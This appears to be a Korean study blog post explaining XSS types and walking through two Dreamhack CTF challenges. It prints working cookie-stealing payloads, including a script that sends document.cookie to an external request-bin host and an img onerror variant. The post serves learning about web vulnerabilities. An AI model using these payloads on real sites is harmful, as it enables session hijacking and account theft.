방명록
- 웹 해킹 (Web Hacking). XSS 클라이언트 사이드 취약점2024년 07월 01일 22시 32분 47초에 업로드 된 글입니다.작성자: 방세연
Stored XSS 1. 악성스크립트가 서버에 저장
2. 서버의 응답에 XSS가 담겨옴<script>태그, HTML 태그를 삽입하고
반환되는 HTML 코드를 확인한다.Reflected XSS 1. 악성스크립트가 URL에 삽입
2. 서버의 응답에 XSS가 담겨옴<script>채그, HTML 태그를 삽입하고
반환되는 HTML 코드를 확인한다.DOM-based XSS 1. 악성스크립트가 URL Fragment에 삽입 Universal XSS 1. SOP 정책을 우회하는 XSS Stored XSS
게시글에 악성 스크립트를 삽입해 업로드하면 불특정 다수에게 보여진다.
파급력이 높다.
Reflected XSS
검색창에 악성 스크립트가 포함되면 서버가 검색 결과를 받아들인다.
Click Jacking과 Open Redirect 등의 취약점과 연계해 사용한다.
🏆 xss-1
🔑KEY:
def check_xss(param, cookie={"name": "name", "value": "value"}):url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"return read_url(url, cookie)
@app.route("/vuln")def vuln():param = request.args.get("param", "")return param
사용자의 입력값 param을 화면 상에 표시한다.
elif request.method == "POST":param = request.form.get("param")if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
location.href와 document.cookie를 활용한다.
#1. 외부에서 접근 가능한 웹 서버를 통해 쿠키 탈취하기
<script>location.href = "http://cqdoyzh.request.dreamhack.games/?memo=" + document.cookie;</script>
드림핵 툴즈를 이용해서 이용자의 접속 기록을 저장하는 랜덤 URL을 생성한다.
flag가 나타나는 것을 알 수 있다.
/flag의 입력창에 URL과 document.cookie를 입력한 후, 접속 기록을 확인해본다.
#2. /memo에 임의 이용자의 쿠키 정보를 확인하기
@app.route("/memo")def memo():global memo_texttext = request.args.get("memo", "")memo_text += text + "\n"return render_template("memo.html", memo=memo_text)
<script>location.href = "/memo?memo=" + document.cookie;</script>
/flag 엔드포인트에 입력창에 document.cookie (쿠키를 읽고 씀)을 입력한다.
/memo에서 확인할 수 있도록 코드를 작성한다.
이후 /memo에 들어가보면 flag를 발견할 수 있다.🏆 xss-2
<script>location.href = "http://example.request.dreamhack.games/?memo=" + document.cookie;</script>
@app.route("/vuln")def vuln():return render_template("vuln.html")
render_template는 전달된 변수나 값들을 HTML 엔티티코드로 변환해 저장하기 때문에 이전과 같은 XSS 취약점이 발생하지 않는다.
def check_xss(param, cookie={"name": "name", "value": "value"}):url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"return read_url(url, cookie)
그리고 이 생성내용(쿠키들, URL)이 read_url 함수로 전달된다.
def read_url(url, cookie={"name": "name", "value": "value"}):cookie.update({"domain": "127.0.0.1"})try:service = Service(executable_path="/chromedriver")options = webdriver.ChromeOptions()for _ in ["headless","window-size=1920x1080","disable-gpu","no-sandbox","disable-dev-shm-usage",]:options.add_argument(_)driver = webdriver.Chrome(service=service, options=options)driver.implicitly_wait(3)driver.set_page_load_timeout(3)driver.get("http://127.0.0.1:8000/")driver.add_cookie(cookie)driver.get(url)except Exception as e:driver.quit()# return str(e)return Falsedriver.quit()return True
(이때는 innerHTML을 사용하면 가능하다)
<img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">
이번에는 <script> 태그가 아닌 <img src> 태그를 사용한다.
이제 /vuln 페이지에 접근하면 이미지 로딩에 실패한다.
이 코드를 /flag에 넣어 제출하면 /vuln 페이지에 접근한다.
XSS-1 문제와 마찬가지로 이번에도 /memo페이지에 접근하면 쿠키 탈취에 성공해 flag가 출력되는 것을 알 수 있다.💡스터디 참고 출처 : Dream Web Hacking
다음글이 없습니다.이전글이 없습니다.댓글